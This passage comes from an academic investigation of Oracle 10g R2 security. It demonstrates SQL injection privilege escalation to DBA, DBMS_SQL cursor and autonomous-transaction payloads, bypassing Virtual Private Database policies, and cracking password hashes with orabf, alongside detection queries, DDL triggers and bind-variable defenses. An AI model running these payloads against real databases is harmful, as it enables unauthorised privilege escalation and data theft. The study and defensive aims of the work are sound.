Function created. Listings 410: Procedure grants DBA to public (code by Litchfield D and comments by Okelitsi Nyathi)
For the following demonstration the attacker is taken to be the user Scott. Logged as user Scott I run
the command “Select * from User_role_privs” to see the types of roles assigned to Scott. The
result is shown below in Figure 45 below.
Figure 45: Privileges belonging to Scott
Before passing the SQL injection we see that the user Scott only has two roles, connect and
resource. Now, we carry out the injection using the function stated above.
Now user uses the GET_OWNER procedure from SYS but concatenates it with the
New function GET_DBA from Scott executing it with SYS privileges. He can’t
use union because this is not a select SQL/command
SQL> EXEC SYS.GET_OWNER ('AAAA''||SCOTT.GET_DBA');
PL/SQL procedure successfully completed.
Listings 411: Execute SCOTT.GET_DBA as SQL Injection
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 37
The code in Listings 411 allow the user Scott to set himself to have the DBA role by running the
command shown below. The SQL Injection is performed successfully as shown below in Fig 46 as
well. giving self the granted DBA role
SQL> SET ROLE DBA;
Figure 46: The role has been successfully set
Now let’s check for the authenticity of this claim. The command which shows the roles given to
user is run again as shown. The command is: “Select * from user_role_privs”. Note that we
now have an extra role DBA that the attacker Scott has assigned himself.
Figure 47: The new roles assigned to Scott
To revoke DBA role from public, Grant the DBA role to everyone and then revoke it by the
command: REVOKE DBA FROM PUBLIC; otherwise you get an error: ORA 01941: ROLE ‘DBA’ not granted to ‘SCOTT’.
Another method to launch the attack is to prime the function. What follows is a description of the
new method: it is a simple multistage and it has been discovered to work on all versions of Oracle
and can be exploited by an attacker to run any malicious queries that grant attackers privileges.
Basically, all an attacker needs do to execute arbitrary SQL is to open a cursor and parse the SQL
and then inject the DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object:
The SQL code as stored as Cursorinj.sql in the SSl server. SQL> SET SERVEROUTPUT ON
SQL> DECLARE
2 MY_CURSOR NUMBER;
3 RESULT NUMBER;
3 BEGIN
4 MY_CURSOR:= DBMS_SQL.OPEN_CURSOR;
instead of parsing a select command the attacker declares an
autonomous_transaction to grant the DBA role to public. The commit command
saves all changes permanently
6 DBMS_SQL.PARSE (MY_CURSOR,'declare pragma autonomous_transaction;
Begin execute immediate ''grant DBA to public''; commit; end;’, 0);
7 DBMS_OUTPUT.PUT_LINE ('Cursor value is:' || MY_CURSOR);
8 END;
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 38
9 /
Cursor value is: 6
PL/SQL procedure successfully completed.
Listings 412: Grant DBA to public using autonomous_transaction (code by Litchfield D and comments by Okelitsi Nyathi)
The DBMS_SQL.EXECUTE function returns a number so we use the CHR function to
convert the number to a character, which can then be concatenated.
This was actually tested on the Server and the result is shown below.
Figure 48: Another method of granting DBA
An attacker can also insert his account into the SYS.SYSAUTH$, a table of users who have the
SYS authentication. Unlike the previous methods used, this will grant him privileges and roles in
the system that will allow him to perform actions on the database without alerting an intrusion
detection/prevention. This was done successfully by researcher David Litchfield but when I tried to
implement a similar code I got an error as shown in the section below. Code might have been added
to monitor data that is inserted into the table which includes some restrictions.
4.2.3 Adding user to the SYS.SYSAUTH$ table Logged in as “SYS” I created a user called CSESS and as shown by the Listings 413 below, he has
no roles assigned to him and has only one privilege, the create privilege. SQL> CONNECT / AS SYSDBA
Connected
SQL> CREATE USER CSESS IDENTIFIED BY KELETSO;
User created.
//grant him the create privilege only
SQL> GRANT CREATE SESSION TO CSESS;
Grant succeeded.
Listings 413: Create new user CSESS
I then looged in as Csess and ran the command “Select * from user_role_privs” which
shows that the user CSESS has no database roles assigned to him. SQL> CONNECT CSESS/PASSWORD
Connected
make sure that he only has the create privilege only
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS;
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 39
a created user can not log in without the create privilege
PRIVILEGE
CREATE SESSION
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
2 MY_CURSOR NUMBER;
3 RESULT NUMBER;
3 BEGIN
4 MY_CURSOR:= DBMS_SQL.OPEN_CURSOR;
6 DBMS_SQL.PARSE (MY_CURSOR,'declare pragma autonomous_transaction;
this either creates a function CSESS_func or replaces it if it exists
it allows whoever the invoker is to use it in their contexts regardless of who
created it, it will allow the current user to use his privileges fully
Begin execute immediate ''create or replace function CSESS_func (p
varchar2) return number authid current_user is begin execute immediate
p; return 1; end;''; commit; end;',0);
7 DBMS_OUTPUT.PUT_LINE ('Cursor value is:' || MY_CURSOR);
8 END;
9 /
Cursor value is: 8
PL/SQL procedure successfully completed
Listings 414: User is not allowed to create table but he manages to do so
The user CSESS is not privileged to create a function, I tried to create a function and obtained an
errors shown below: ORA01031: insufficient privileges
Masquerading as an attacker (Csess), I embedded the code to create a function within a procedure
and Oracle created it for me (How strange!!). The proof of this is shown below in Figure 49.
Though the database detected that the user (I) does not have sufficient privileges to create a function
but it let me do so. Detecting is not good enough but prevention is. SQL> EXEC SYS.GET_OWNER ('AAAA''||CHR (DBMS_SQL.EXECUTE (8))');
PL/SQL procedure successfully completed.
Now to check if the function was created;
Figure 49: Table successfully created by unauthorised user
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 40
This is proof that the function was created since it can be used. Trying to set user CSESS’s the
DBA role gave me an error message. SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA01923: role 'DBA' not granted or does not exist
Now injecting the auotonomous_transaction into the function CSESS.CSESS_FUNC failed to work
on Release 2 as speculated by David Litchfield. He claims that it works for Release 1. The results
that he got are shown in Appendix 4 on page 113 at the back of the book.
When I ran similar code as user Csess I got a similar error as shown above but then, I could not set
the role DBA as Litchfield claims. I believe that Oracle added code that validates inserted data into
the named table. It seems there is a code validator that disallowed users to add themselves onto the
SYS.SYSAUTH$ table but unfortunately, there happened to be a bug in the code. This is because it
gave an error message signifying that it detected the problem but the flaw proceeded as a backyard
implementation, to grant the requests of the user. The results that I got from attempting to add my
name to the table is shown below but unfortunately Csess could not get the DBA assigned to me.
Figure 410: Error message when trying to insert name to SYS.SYSAUTH$
Logged in as Csess, when I tried to grant myself the DBA role, I got an error message shown above.
According to David, this must work.
Figure 411: User could not grant DBA, detected by Oracle
But if the bug has been fixed a question can then be posed about the system, why does it allow low
privileged users to perform restricted tasks? Specifically, why does it allow a user with no right to
create a function to do so by imbedding his code in a procedure? The current user managed to
perform a task that by right he is not supposed to be able to.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 41
Let’s look at the flaw again; I found that it has not been thoroughly solved. If the code below is run
which grants DBA role rather than add a user to the table Sysauth$, we find out that DBA is granted
to the public. See the Figure 412 below.
Figure 412: Successfully executed by finding a procedure to perform SQL Injection on
This sets up the role using the same function that we created. Take a look at the snapshot shown
below in Figure 413, the role is set.
Figure 413: Role successfully set
4.2.4 Protecting Against SQL Injection
4.2.4.1: A way to detect SQL Injection in Oracle This is one way that may be suggested to Oracle so that they detect their SQL Injection
vulnerabilities before any one has the opportunity to do so. The steps are laid down below:
• Run commands to find out who has the DBA role assigned to them in the database. O “SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = ‘DBA’;”
• For each user in the list, search for tables and packages created by user that have been
granted to ‘public’, and not declared as ‘current user’ (definer) O ((SELECT TABLE_NMAE FROM DBA_TAB_PRIVS WHERE GRANTEE = ‘PUBLIC’ AND
OWNER = ‘SYSTEM’) INTERSECT (SELECT OBJECT_NAME FROM DBA_OBJECTS
WHERE OBJECT_TYPE = ‘PACKAGE’ AND OWNER = ‘SYSTEM’)) MINUS (SELECT
NAME FROM DBA_SOURCE WHERE TEXT LIKE ‘% CURRENT_USER%’ AND OWNER =
‘SYSTEM’));
• For each of the packages in the list, run the command ‘describe’ to find procedures and
functions within that has a ‘varchar2’ as a parameter. O DESC SYSTEM.PACKAGE_NAME;
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 42
• For each procedure or function, input four single quotes as input and note down those that
return the error “ORA – 01746: Quoted string not properly terminated” e.g.: EXEC SYSTEM.SYS_QRY.SETSESSIONLANG (‘’’’);
This is really simple, if Oracle were to do this, then they would not suffer researchers finding flaws
in their database before they do.
4.2.4.2 Using triggers to monitor database activity To avoid unauthorised use from running DDL commands on the database, a trigger can be set that is
set when an unauthorised user tries to perform a restricted DDL command. These include GRANT,
CREATE or ALTER. Suppose there are only four users that have permission to execute DDL
commands, and these are SYS, SYSTEM, SCOTT and HR. The trigger may look like the one
below: CREATE OR REPLACE TRIGGER DENY_DDL BEFORE DDL ON DATABASE
DECLARE
P_USER VARCHAR (30);
BEGIN
P_USER:= SYS_CONTEXT (‘USERNV’, ‘SESSION_USER’);
IF P_USER! = ‘SYS’ AND P_USER! = ‘SYSTEM’ AND P_USER! = ‘SCOTT’ AND
P_USER! = ‘HR’ THEN
RAISE_APPLICATION_ERROR (20002, ‘USER ‘|| P_USER || ‘MAY NOT
EXECUTE DDL’);
END IF;
END; /
Listings 415: Trigger to prevent low privileged users from executing
When the trigger is implemented, the privilege to execute DDL commands is restricted. In my case
I created a user TEST/KELETSO and granted him only the create session privilege that allows him
to log into the database and create procedures. He is not allowed to create functions. Then I created
a trigger similar to the one above but specially set for him. The snapshot is shown below.
Figure 414: Trigger monitor malicious activity
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 43
The best way to implement this trigger method is to class users allowed to perform DDL commands
in groups that define what the user is allowed to do. Then triggers are set according to these groups.
The good thing about using the trigger is that it will generate the same error for an attacker who is
restricted from performing DDL commands but wants to grant him self ADMINISTER
DATABASE TRIGGER. If the user is not in the group of users allowed to perform GRANT,
REVOKE, ALTER or CREATE then an error is raised.
Triggers can be used also for auditing, what I am going to discuss in this section is not a method of
preventing SQL Injection but is a way to detect any performance of it. A trigger that monitors
execution of DDL statements on the database like the one in Listings 415 can be used, but as an
addition to it, audit statements can be written to a table created by ‘SYS’. Log in as SYS and create
a table called STATS as shown in Figure 415 below.
Figure 415: Table to contain the audit on DDL statements in the database
Create a trigger as shown below that records all the DDL performed on the database by users. This
can be used as an audit by the DBA.
Figure 416: Trigger to audit who performs DDL on the database
My first trigger disallows any unprivileged user from performing DDL statements on the database
and suppose they manage to, this trigger defined in Figure 416 can be used to show who may have
broken through the security offered by the first trigger. The audits in Figure 417 also include failed
attempts of Scott trying to grant him self the DBA role.
Figure 417: The audit from tracking DDL statements
One interesting factor is that when Scott gains the DBA role through SQL Injection, Oracle is
thoroughly tricked into giving out the DBA role without taking any account of it. This is proved by
the fact that when SYS tries to revoke the DBA role from Scott he gets a message from the database
that reads: ORA 01941: ROLE ‘DBA’ not granted to ‘SCOTT’.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 44
This can trick the Database Administrator into thinking that maybe the Injection was not
successfully executed. The only way to revoke this role from Scott as I found out through trial and
error is by granting the role DBA to public and then revoking it as soon as possible. This is not a
safe method as well but at least it gets the job done. The amazing thing is that Oracle can not
recognise the act of granting the DBA to Scott but this is quickly realised by using triggers. There is
no consistence in the Oracle programming practices.
One other problem that I have noticed about Oracle is that it fails to revoke a privilege during an
attacker’s transaction. If an attacker gains the DBA role from Oracle and SYS tries to revoke the
role during the attacker’s transaction, a fail is guaranteed. The attacker can only lose the role when
he logs of or maybe if he tries to reassign himself the DBA role. This is totally insecure. Oracle
should allow database changes to be real time; changes should be implemented as soon as possible,
especially for security purposes.
4.2.4.3 Normalisation Oracle has a good method of authenticating users which calculates and compares the new hash with
the one stored in the database. I say this because I am comparing it with the general web application
login where a query like “Select * from user_table where user_id = ‘joe’ and password
= ‘secret’” is fired and if it give a nonNULL output then the user is allowed in. The latter
method is prone to SQL Injection. For example if a malicious user specifies his password as ‘or 1
= 1 , then the SQL statement fire will look like this; “Select * from user_table where
user_id = ‘joe’ and password = ‘’ or 1 = 1 ’”, which will return a nonNULL response
thus letting the user log in.
Oracle suffers from this form of injection as well in its postauthentication activities. One way to
avoid this is to use variable normalisation, where by varchar values are assigned to a constant
variable suppose ‘d’ and number are assigned to “0”. The normalised SQL statement is stored in a
data structure called a rule along with its corresponding prenormalised variable information as
shown below.
Suppose we have a query like “Select * from stationary where prize > ‘’’|range|’’’
and section = ‘’’| product|’’’;
Normalised SQL: “Select * from stationary where prize > 0 and section = ‘a’;
Variable 1: Position 37, Integer Type, Original Value: 3400
Variable 2: Position 64, String Type, Original value “computers”
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 45
Since queries vary in variable values, we can define the range of expected values, for example
instead of the value being 3400, it can be laid down as “Allowable Range: 100012000” for
variable 1 and for variable 2 “Allowed character set: [az; AZ], Min Length: 6”
The database can also be set to learning mode so that it automatically learns the right format and
range of values that are expected in a query. This can be done by running the database in the
learning mode while you fire “tutorial” queries to it. This reduces errors in specifying the range
and all, an example is shown below.
Figure 418: An example of normalised query training
After the system has learned the input format and values from learning or from the settings made by
the DBA then we use the SQL Block Implementation. This is an architecture where by there is a
proxy driver between the client application and the original Database Connectivity Driver as shown
below.
Figure 419: Use proxy driver to validate queries before submitting them to the database
The proxy driver is basically another database connectivity driver and instead of passing queries
directly to the database server, it first acts as a client to the other connectivity driver. This means
that the client application should be compatible with the proxy driver since the latter and the
original database connectivity driver use the same driver standards. The proxy driver is also used to
sieve the responses to the client by the database. Information from responses such as detailed errors
can be used by an attacker to learn the system, so this is prevented by this proxy driver. The client
system keeps a list of allowable SQL queries, so the required query is normalised and compared to
this list and if the normalised SQL statement does exist and if its variables are within expectations
then the command is executed. The client system also allows users to specify exceptional cases that
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 46
might not be catered for by the algorithm. This system also makes sure that attackers do not bypass
authorisation and that user input is validated. An Example of implementation is as shown below.
Figure 420: Normalised query are validated by comparison to the list of expected queries
To cut on time delay in the search the allowable list of commands is orderly listed. SQL Injection
can also be solved by better programming practices, code reviews; input validation and SQL input
binding. One can also use source code scanning tools that check for errors.
4.2.4.4 Binding Variable These improve application performance and should be applied to all SQL statements. Queries
produced from the concatenation of query strings and passed user parameters should not be allowed
since these are the biggest culprits that cause SQL Injection. The use of bind variable is simple but
it requires at least one line of code per variable. To illustrate bind variable, suppose you have
queries similar to those below. SELECT fname, lname FROM cust WHERE id = 323;
SELECT fname, lname FROM cust WHERE id = 423;
SELECT fname, lname FROM cust WHERE id = 873;
Each time a query is made Oracle first checks from the shared pool to see if this query has been
submitted before; if it has it simply retrieves its execution plan and executes the SQL. If not found,
Oracle has to parse the statement, analyse and validate all possible execution plans until it comes
with one optimal one. This procedure is called hard parse and it has an effect of making the OLTP
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 47
applications longer, also CPU intensive and also involves obtaining latches on key shared memory
areas. This might not be significant on small database applications but is surely significant on larger
multiuser interact systems. Partly this is because Oracle can not handle concurrently executions of
hard parsing and other database operations. The solution to this problem to replace the variable with
a variable that will later be replaced by the actual require value. An example of this is shown below. SELECT fname,lname FROM cust WHERE id = : cust_no;
This has the effect of presenting the same query to Oracle thus enabling Oracle to use the same
execution plan for all queries. This in turn will reduce the CPU activity as well as the latch activity
in the SGA and above all this allows the scaling up of database users as well. The bind command
should replace the concatenation in a query since the actual value is required after compile time
which is the stage at which any SQL Injection can be passed successfully.
4.2.4.5 Input Validation Input must be validated before being executed. If bind variable are use then special characters like
single quote (the only issue in Oracle) can be avoided avoided.
Also functions that are not really necessary to users should not be assigned as these may be used
against Oracle, especially the standard database functions that Oracle has. These have been granted
to users to change passwords and create users just to name an example but they can be used
maliciously by attackers. In addition to the methods used to protect against SQL Injections, errors
from the server should be made as less explicit as possible.
4.3 VIRTUAL PRIVATE DATABASE (VPD) AND ITS FLAWS
VPD stands for Virtual Private Database. This is a mechanism that is implemented by Oracle to
prevent users from viewing sensitive data. In this model, suppose a user KELETSO has a table Data
containing data that he allows everyone to view but now he decides to prevent some data from
being seen. He decides to classify one type of data as private and the other as public; public being
the data he does not mind to be seen by anyone but private being the data that he wants to restrict
access to. To use VPD, he creates a function that returns data that is specified as public only. He
then adds a policy that makes use of this function to the database. Now, suppose a user OKELITSE
wants to see all the data in the table Data and he makes a query “Select * from Data” but on the
background the database adds the where clause to the query. In this case, it will be: “Select *
from Data where classification = ‘public’”. The result added to the query is the return
value of the function used by the VPD policy and is called the predicate. This is generally how VPD
works.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 48
4.3.1 The flaw in VPD Oracle has got a policy mechanism that allows users to view only that which they are specified to
view. These VPDs are made from DBMS_RLS as well as DBMS_FGA packages. Virtual Private
Database is a good method implemented by Oracle that is used to restrict database privileges
granted to certain users.
Below is a stepbystep demonstration of how one can defeat the security offered by Oracle. Let’s
make as assumption that a user VPD has been created in the database and been granted the create
session, create procedure and table privileges. Also the user VPD has been granted execute on the
DBMS_RLS package. The demonstration steps are as follows:
I logged in as user VPD/KELETSO. In his schema, I create a table called VPDTEST which
contains three field classification, commands and rank. The table basically describes whether a
given command is classified as a secret or it is unclassified and it also shows the rank of the
individual who gave the command as shown below.
Figure 421: The table vpdtest created by user vpd used to illustrate Virtual Private Databases
I then granted the table VPDTEST to the public (select on) so that everyone can have access to it.
The command run is as shown in Figure 422:
Figure 422: The diagram shows that everyone in the database instance can select on the table
The attacker for this session is the user SCOTT/TIGER and the Figure 423 below shows his view
of the table VPDTEST:
Figure 423: This is output from user Scott
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 49
SQL> Username: VPD/KELETSO
Logged as the user VPD, I created a policy function shown below in Listings 416; this can be
saved and uploaded as a .sql file or typed straight on the command line prompt. This function
simply returns the records that are not classified as secret. SQL> CREARE OR REPLACE FUNCTION HIDE_RECORDS (P_SCHEMA IN VARCHAR2, P_OBJECT IN
VARCHAR2)
RETURN VARCHAR2
AS
BEGIN
RETURN ‘CLASSIFICATION! = ‘‘SECRET’’’;
END;
/
FUNCTION CREATED.
Listings 416: The Hide_Records function that hides the records specified as secret
Logged as use VPD I added a policy that makes of the policy function declared above using the
DBMS_RLS package that uses the policy function above. “Execute” privileges on the package have
been granted to the user otherwise he is not able to declare policies. In general, I want to set
restriction on the amount of data other users are allowed to see on the table vpdtest. This can be
used when a user wants users to view part of his databases records but not necessarily all. The add
policy is shown below in Listings 417. SQL> BEGIN
DBMS_RLS.ADD_POLICY
(OBJECT_SCHEMA => ‘VPD’,
OBJECT_NAME => ‘VPDTEST’,
POLICY_NAME => ‘SECRETS’,
POLICY_FUNCTION =.’HIDE_RECORDS’);
END;
/
Listings 417: The code above adds the policy to be applied on the table vpdtest
SQL> Connect as SCOTT/TIGER
The attacker Scott tries to view the table again but with the policy restrictions added to the table.
This also applies to the user VPD as well in this case, i.e. user VPD is not able to view the table
records as well. This may be modified to block certain users but allows others but this is fine for
my demonstrations.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 50
Figure 424: This is the new output when Scott selects to view the table
An attacker can create a function as shown below in the snapshot below, Figure 425 that drops the
policy. The drop_policy procedure takes the schema name, object name and the policy name as
arguments. This has to be injected into some SQL Injectable stored procedure in the database. The
main concern for the attacker is finding a procedure to inject this code into; if he finds a SQL
Injectable procedure then it is DONE!!! The function that I used is as shown below.
Figure 425: This is evil code that breaks the VPD setting on public.
NB: As a tip from experience with policies, a lot of care has to be taken on case (lower or upper)
used when specifying the arguments to the function in Figure 425 above. In essence if case is
change in the function above then it will not work. I struggled with this until I had to make use of
the same case. This is really interesting considering that Oracle does not consider case sensitivity on
log in but does on this case….Very Interesting!!!
The attacker can create an empty table which he will drop away when performing SQL Injection to
the package above, in my case the table is called FOO. The table is used to avoid Oracle form
issuing out an error that it can not find the object to be dropped. SQL> CREATE TABLE FOO (X NUMBER);
This experimented was once conducted by David Litchfield and he used the package
XDB.PITRIG_PKG to inject the function. But in my case this does not work. I am highly
suspicious that Oracle might have blocked SQL Injection using this package; they may have code
that validates the data input to the package. But all the same the major issue here is performing a
SQL Injection that will execute the function. The failed attempt is shown below in Figure 426.
Figure 426: The failed attempt to drop policy, Oracle may be validating input on the package
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 51
Logged in as user Scott, I reverted to using an alternative the procedure that I once use to
demonstrate SQL Injection, called GET_OWNER that takes in an object in any schema and returns
the owner of the schema. In actual fact, the attacker will have to hunt for a package or procedure
that permits him to inject malicious code. Therefore there are better SQL Injection demonstrations
that an attacker may use other than the one used below in Figure 427.
When I performed the SQL Injection as an attacker, the database catches the mistake but goes on to
grant the successful execution of the code. This shows a flaw in Oracle code, they are aware of the
existence of SQL Injection vulnerabilities in their code but because of inefficient programming
practices, the attacker successfully hacks through. Basically, I concatenated the command to run the
function with the name of the object required in the procedure GET_OWNER.
Figure 427: The snapshot shows the VPD configurations broken down by SQL Injection
There is a way of getting access to any restricted data on the database. Consider the VPD policy that
I have just demonstrated in this section. If an attacker, who obviously does not have access to the
concerned data, gains the EXEMPT ACCESS POLICY system privilege then all policies defined
against him in the database cease to work. He has access to every restricted table that he so wishes
to view. This privilege can be obtained using the SQL Injection flaws illustrated above. Also if the
attacker gains access to the DBA role, he can drop the policy from the BMS_SQL.DROP_POLICY
procedure i.e. if the DBA role does not encompass the EXEMPT ACCESS POLICY.
4.3.2 Another VPD attack vector Oracle allows a user to drop a security policy that was specified by another user. In my case the user
Scott, instead of drop the policy through a function created can grant himself execution privileges
on the package DBMS_RLS. This will allow him to drop any policy created by anybody as it
pleases him.
Logged in as user Scott, I tried to drop the VPD policy directly without performing SQL Injection
but unfortunately I have not enough privileges to do so as shown below in Figure 428.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 52
Figure 428: Note the error message displayed
But let’s take a look at something interesting in the error message brought back by Oracle. It gives a
clue to an attacker that in order to perform the required task he needs to be able to execute the
SYS.DBMS_RLS. An attacker can write a function that allows him to grant himself the required
execution privilege as shown in Listings 418 below (this is the function I used). CREATE OR REPLACE FUNCTION GAIN_DBMS_RLS
RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
DBMS_OUTPUT.PUT_LINE('HELLO');
EXECUTE IMMEDIATE 'GRANT EXECUTE ON DBMS_RLS TO SCOTT';
RETURN 1;
COMMIT;
END;
Listings 418: The attacker grants himself execution on DBMS_RLS through SQL Injection
Logged as Scott, I only need to find a SQL Injection vulnerable procedure or package that allows
me to perform SQL Injection as shown below in Figure 429.
Figure 429: SQL Injection successful
Now user Scott can drop any policy that has been set against him, he has granted himself the
“immunity” to any VPD security that has been set on the database. He can now drop policies
without performing SQL injection as shown below in Figure 430.
Figure 430: The policy has been successfully dropped
The policy set by user VPD is ineffective to Scott since he has dropped it. He has full access to the
data that he was once restricted from viewing. The proof of this is shown in the Figure 431 below.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 53
Figure 431: Data exposed to attacker
4.3.3 Prevention The best way to avoid this sort of attack is to block SQL Injection from being carried out
successfully by a user. If the procedures are easily injectable by SQL injection then this flaw is
inevitable. Packages that are not necessary to users should not be granted to public since some
packages are inter linked and inter dependant on other. In essence a an attacker can trace out which
other packages are interlinked with the ones he has access to and then he has free access to testing
them. An example to this situation is a situation where the attacker has manages to gain privilege to
the SYS.LTADM package which houses a procedure, CREATERLSPOLICY that directly calls the
DBMS_RLS.ADD_POLICY. In this way the attacker can create himself policies to his favour.
Preventing SQL Injection is discussed in Section 4.2 above. Oracle should prevent user from
dropping policies that they did not make. It’s senseless for Scott to drop an object that was actually
created by VPD.
4.4 CRACKING THE HASHES
4.4.1 Cracking the puzzle Basically, the password hashes obtained from the Oracle database through Cursor Snarfing or SQL
Injection are not useful to an attacker in their raw state. The attacker is faced by a challenge of
cracking the hashes to clear text. Fortunate, enough for attackers there are free tools on the Internet
that are designed to break Oracle hashes. One example of such a tool is Orabf that I used as shown
in the following section, Section 4.3.2.
4.4.2 ORABF: Oracle hash breaking tool. I downloaded the tool orabf from the Internet for free on the url link
http://www.toolcrypt.org/index.html?orabf. The downloaded folder contains a notepad file called
changes.txt, default.txt as well as two executable files, oraclehash.exe, orabf.exe and permute.exe.
The default.txt contains a set of passwords that are used by Oracle as default. The executable
program to run so as to break the hashes is called orabf.exe which takes in a password hash and the
user name who owns the password hash. After running the program with my clear text password in
the default.txt file I obtained the exact clear text password belonging to the user. Basically the tool
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 54
takes in a clear text password and hashes it up together with the user name to obtain a password
hash. If the password hash is similar to the one supplied to the program then the clear text password
has been cracked. I got a very fast and correct output when I ran the program the first time because
the orabf.exe program first tries each password in the default.txt file once before obtaining the clear
text password. If the search is unsuccessful, it than tries its own made passwords from the whole list
of alphanumeric and special characters which sequentially increase in string length.
Figure 432: Running the Orabf.exe tool to crack the SYS password
I deleted my password from the default list and cracking it took a while because Oracle had to
consider each possible character combination that can make a password from the alphanumeric and
special characters. It starts with all possible passwords that are five characters long and gradually
increase the string size with time. Cracking my password took longer than the time taken before.
Figure 433: Running the tool without the password in the default list.
This tool is efficient and right for the job. When using orabf, the user has to specify the name [hash
password]: [username] [option]. The option lets the user specify the range of characters to be used
to crack the password i.e. numbers, alpha (alphabetic letters), alpha numbers or even the whole
character space. If the user knows the type of characters the string is made up of he can specify the
right option so that the password is generated quicker than searching through the whole space. The
search sample is the string: ‘#$0123346789ABCDEFGHIJKLMNOPQRSTUVWXYZ’.
The tool also allows the user to press any button to check its progress. It shows the time elapsed
together with the current password being tried and the length range it is working in.
Figure 434: The tool shows current password being tried and total time elapsed
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 55
And finally after 11 hours 24 minutes and 30 seconds, my clear text password was obtained. The
tool tried 39,092,792,909 (about 39 billion) passwords in total to obtain my clear text password.
Figure 435: The password successfully cracked
4.4.3 Word of advice from the DBA To counteract such tools from successfully obtaining the clear text password, the user has to make
sure that he does not use Oracle’s default passwords. The password made must not be a dictionary
word that is easily figured out. If a user makes a long password which includes all sorts of character
types, it takes almost forever to break the hash such that an attacker can exhaust his patience. This
also shows how small Oracle password space is, suppose it differentiates between uppercase and
lowercase then this will also increase the time taken to crack the hash. Also if Oracle were to make
their salt more complex, it will surely become harder for their hashes to be broken since this tool
takes in the username as argument which is used in Oracle as part of the salt. The best thing is that
Oracle changes its hashing algorithm since it is now known and also changes its salt generation
procedure.
4.5 ORACLES’S PASSWORD HASHING AND ITS WEAKNESS
4.5.1 Weak salt Oracle uses a very weak salt for hashing its passwords. It uses the username of the user as the salt to
the hash concatenated with the user’s password. This shall be discussed in the following subtopics
of this Section 4.4. To prove the point that Oracle uses a very weak salt I compared the hashes I
obtained from two users I created. These are ‘JACK/ROGERS’ and 'JAC/KROGERS’. I requested for
their hashed passwords from the table DBA_USERS in the SYS schema and the output that I got
shown below in Figure 436 clearly shows that the two user have the same hashed password.
Figure 436: Oracle concatenates username and password for hashes
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 56
This simply shows that Oracle password hashes are computed by concatenating the username and
the password before hashing. Therefore the user ‘JAC/KROGERS’ and ‘JACK/ROGERS’ have the
same hashed password and this show how weak the Oracle salt selection is. It shows that no matter
what of characters we have, as long as it spell out the word ‘JACKROGERS’, then the same hash is
issued out by Oracle. This makes the algorithm predictable to attackers or any careful user. The
problem with using a weak salt algorithm is that an attacker can work out the password by using the
hashed password and the known username using appropriate comparisons. If the user manages to
decrypt the password hash into clear text then it’s easy for him to break it down to password and
username since he knows the algorithm. This he can do by having a set of precomputed suspected
username and passwords to be tried in an Oracle brute force attack.
4.5.2 Logging into Oracle Application Server When a user logs into Oracle, his clear text password is hashed and the resulting hashed password is
then compared to the hashed password that is kept in the DBA_USERS table in the SYS schema. If
the two hashes are the same then the user is logged in otherwise he is denied access to login. This is
